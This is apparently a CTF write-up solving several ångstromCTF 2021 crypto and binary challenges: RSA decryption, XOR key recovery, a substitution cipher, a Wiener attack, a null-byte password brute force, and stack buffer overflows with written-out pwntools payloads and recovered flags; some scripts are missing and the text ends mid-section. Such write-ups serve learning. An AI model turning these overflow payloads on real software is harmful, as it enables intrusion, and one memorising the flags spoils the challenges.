# [Crypto] Relatively Simple Algorithm [40]

n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 10864485158475691897785142521639836330781000210189423011287091723451951610180283857631511649079479027112130353186851953406105053056298142082602063838397998301027166017550640238950447769518433944243137063001957269365958032249980121504153513256559586412311362623923242018337876522904503710806515529917807480943

## Solution

Well there is not much to explain:

>>bytes.fromhex(hex(77829732531886017666421465369706368622254927240332446949265849761777437379574153694975519245766808162296991738636674224619780544798026515410227980157)[2:])
b’actf{old_but_still_good_well_at_least_until_quantum_computing}’

# [Crypto] Exclusive Cipher [40]

ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c

## Solution

This one is pretty easy. We know the key length and we know that flag starts with actf{ , that’s 5 bytes. So we can XOR actf{ with some 5 bytes of cyphertext to get the key. But we don’t know where exactly flag starts, therefore we have to drag actf{ through the text and XOR it with text at different offsets to get different keys. After that we can use those keys to decrypt text, and if some particular key is correct we will decrypt text successfully. I made python script for this:

Here’s an output with the flag:

# [Crypto] Keysar v2 [40]

## Solution

Let’s look at the source code

The only thing we need to understand here is that this is actually just a monoalphabetic substitution cipher. So we can try to decrypt it with some automated tool, https://www.guballa.de/substitution-solver for example.

Input:

quutcvbmy ft qii amtkm iqkd tx qjbqfbtm, fzwcw bd mt kqo q sww dztgiv sw qsiw ft xio. bfd kbmyd qcw ftt drqii ft ywf bfd xqf ibffiw stvo txx fzw yctgmv. fzw sww, tx utgcdw, xibwd qmokqo swuqgdw swwd vtm’f uqcw kzqf zgrqmd fzbma bd brhtddbsiw. owiitk, siqua. owiitk, siqua. owiitk, siqua. owiitk, siqua. ttz, siqua qmv owiitk! iwf’d dzqaw bf gh q ibffiw. sqcco! scwqaxqdf bd cwqvo! utrbmy! zqmy tm q dwutmv. zwiit? sqcco? qvqr? uqm otg swibwjw fzbd bd zqhhwmbmy? b uqm’f. b’ii hbua otg gh. ittabmy dzqch. gdw fzw dfqbcd. otgc xqfzwc hqbv yttv rtmwo xtc fztdw. dtcco. b’r wnubfwv. zwcw’d fzw ycqvgqfw. kw’cw jwco hctgv tx otg, dtm. q hwcxwuf cwhtcf uqcv, qii s’d. jwco hctgv. rq! b ytf q fzbmy ytbmy zwcw. otg ytf ibmf tm otgc xgpp. tk! fzqf’d rw! kqjw ft gd! kw’ii sw bm ctk 118,000. sow! sqcco, b ftiv otg, dfth xiobmy bm fzw ztgdw! zwo, qvqr. zwo, sqcco. bd fzqf xgpp ywi? q ibffiw. dhwubqi vqo, ycqvgqfbtm. mwjwc fztgyzf b’v rqaw bf. fzcww vqod ycqvw duztti, fzcww vqod zbyz duztti. fztdw kwcw qkakqcv. fzcww vqod utiiwyw. b’r yiqv b ftta q vqo qmv zbfuzzbawv qctgmv fzw zbjw. otg vbv utrw squa vbxxwcwmf. zb, sqcco. qcfbw, yctkbmy q rgdfquzw? ittad yttv. zwqc qstgf xcqmabw? owqz. otg ytbmy ft fzw xgmwcqi? mt, b’r mtf ytbmy. wjwcostvo amtkd, dfbmy dtrwtmw, otg vbw. vtm’f kqdfw bf tm q degbccwi. dguz q ztfzwqv. b ygwdd zw utgiv zqjw lgdf ytffwm tgf tx fzw kqo. b itjw fzbd bmutchtcqfbmy qm qrgdwrwmf hqca bmft tgc vqo. fzqf’d kzo kw vtm’f mwwv jquqfbtmd. sto, egbfw q sbf tx htrh… gmvwc fzw ubcugrdfqmuwd. kwii, qvqr, ftvqo kw qcw rwm. kw qcw! sww-rwm. qrwm! zqiiwiglqz! dfgvwmfd, xqugifo, vbdfbmygbdzwv swwd, hiwqdw kwiutrw vwqm sgppkwii. kwiutrw, mwk zbjw ubfo ycqvgqfbmy uiqdd tx… …9:15. fzqf utmuigvwd tgc uwcwrtmbwd. qmv swybmd otgc uqcwwc qf ztmwn bmvgdfcbwd! kbii kw hbua tgclts ftvqo? b zwqcv bf’d lgdf tcbwmfqfbtm. zwqvd gh! zwcw kw yt. awwh otgc zqmvd qmv qmfwmmqd bmdbvw fzw fcqr qf qii fbrwd. ktmvwc kzqf bf’ii sw ibaw? q ibffiw duqco. kwiutrw ft ztmwn, q vbjbdbtm tx ztmwdut qmv q hqcf tx fzw zwnqytm yctgh. fzbd bd bf! ktk. ktk. kw amtk fzqf otg, qd q sww, zqjw ktcawv otgc kztiw ibxw ft ywf ft fzw htbmf kzwcw otg uqm ktca xtc otgc kztiw ibxw. ztmwo swybmd kzwm tgc jqibqmf htiiwm ltuad scbmy fzw mwufqc ft fzw zbjw. tgc fth-dwucwf xtcrgiq bd qgftrqfbuqiio utitc-utccwufwv, duwmf-qvlgdfwv qmv sgssiw-utmftgcwv bmft fzbd dttfzbmy dkwwf docgh kbfz bfd vbdfbmufbjw ytivwm yitk otg amtk qd… ztmwo! fzqf ybci kqd ztf. dzw’d ro utgdbm! dzw bd? owd, kw’cw qii utgdbmd. cbyzf. otg’cw cbyzf. qf ztmwn, kw utmdfqmfio dfcbjw ft brhctjw wjwco qdhwuf tx sww wnbdfwmuw. fzwdw swwd qcw dfcwdd-fwdfbmy q mwk zwirwf fwuzmtityo. kzqf vt otg fzbma zw rqawd? mtf wmtgyz. zwcw kw zqjw tgc iqfwdf qvjqmuwrwmf, fzw acwirqm. qufx{awowvuqwdqcrtcwibawdgsdfbfgfbtm}

Output:

# [Crypto] sosig

n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227

## Solution

This is a classic Wiener attack. So we can use owiener Python module to find private exponent:

>>> import owiener
>>> n = 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
>>> e = 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799

>>> d = owiener.attack(e, n)
>>> d
14698244184759005359
>>> c = 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
>>> t = pow(c, d, n)
>>> bytes.fromhex(hex(t)[2:])
b’actf{d0ggy!!!111!1}’
>>>

## Solution

That’s really simple task. Let’s look at the source code:

We are required to enter the password. If it is equal to the one randomly generated than we will get the flag. But how can we guess the password if it is generated randomly every time program runs? Well the thing is that we don’t really need to guess it. You see /dev/urandom generates random bytes sequence. So it will generate values in range 0–255, right? There is a 1/256 chance that first byte in generated password will be 0. And 0 is the end of string therefore generated password will be considered as empty string.

This means that we can just send empty passwords until function generate_password() will generate empty password and strcmp() will return 0.

We are provided with interactive shell directly on the CTF web page. Therefore I didn’t bother to write server-client interaction and implemented exploit on that shell:

Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
>>> from pwn import *
>>> ans = b”Wrong”
>>> while b”Wrong” in ans:
… c.sendline(b””)
… ans = c.recvall()

After I press Enter I just need to be patient and wait until empty password is generated:

[+] Starting local process ‘./login’: pid 38379
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 69B
[*] Process ‘./login’ stopped with exit code 0 (pid 38379)
[+] Receiving all data: Done (69B)
[+] Starting local process ‘./login’: pid 38380
[x] Receiving all data
[x] Receiving all data: 0B
[*] Process ‘./login’ stopped with exit code 0 (pid 38380)
[x] Receiving all data: 107B
[+] Receiving all data: Done (107B)
>>> print(ans)
>>>

# [Binary] tranquil [70]

## Solution

So we have the source code and an executable. Let’s look at the source code:

We can see function win() that prints us flag, but it’s not called anywhere in the program. Seems like we will have to call it by ourselves. Alright, so let’s find where we can call this function.

In main() function vuln() is called. And vuln() function asks us to enter the password but no matter if we enter correct or incorrect password nothing interesting is happened. But for reading user input gets() is used, and as we know this function is vulnerable because it doesn’t check input length, so we actually can write any amount of data we want to the function stack. That means we can overflow array password[64] and rewrite return address for vuln() function.

Attack mechanism is clear, now we only need to determine two parameters:

1. Count of bytes to overflow stack. One would think that there is only one local variable in function vuln() with size of 64 bytes, so there must be exactly 64 bytes allocated for function stack. But compiler can make it more for performance enhance.

Let’s decompile executable to determine those values. As you can see on the screenshot, first value is 0x48. That’s 76 decimal.

And second value is address of first instruction in win() function. Which is 0x00401196.

Exploit commands:

team7720@actf:~\$ cd /problems/2021/tranquil
team7720@actf:/problems/2021/tranquil\$ ls
flag.txt tranquil tranquil.c
team7720@actf:/problems/2021/tranquil\$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
>>> from pwn import *
>>> payload = b”a” * 0x48 + b”\x96\x11\x40\x00"
b’aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11@\x00'
>>> c = process(“./tranquil”)
[x] Starting local process ‘./tranquil’
[+] Starting local process ‘./tranquil’: pid 25687
>>> c.recvall()
[x] Receiving all data
[x] Receiving all data: 0B
[*] Process ‘./tranquil’ stopped with exit code -11 (SIGSEGV) (pid 25687)
[x] Receiving all data: 146B
[+] Receiving all data: Done (146B)
b’Enter the secret word: \nLogin failed!\nactf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}\n\n’

# [Binary] Sanity Checks [80]

## Solution

That’s another buffer overflow challenge. Let’s check the source code:

We need to pass all checks to get the flag, but the only variable we can write (by programmer intention) is password. But password is read by gets() function which is vulnerable as we know.

Alright, we know what to do, let’s decompile the executable and define the payload we should send.

Next value we need to write is local_1c. It is located at the offset 0x1c according to its name. So there are 0x68 — 0x1c-12= 76bytes. 12 bytes we have already entered so 64 bytes left to write.

Fine. According to the decompiled code local_1c must be equal 0x11 . It is integer value, therefore we add 4 bytes \x11\x00\x00\x00 to our payload.

Between other variables there are no space to fill, so other values we will add right after local_1c. These values are:

local_18 = \x3d\x00\x00\x00

local_14 = \xf5\x00\x00\x00

local_10 = \x37\x00\x00\x00

local_c = \x32\x00\x00\x00

Full exploit code:

Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux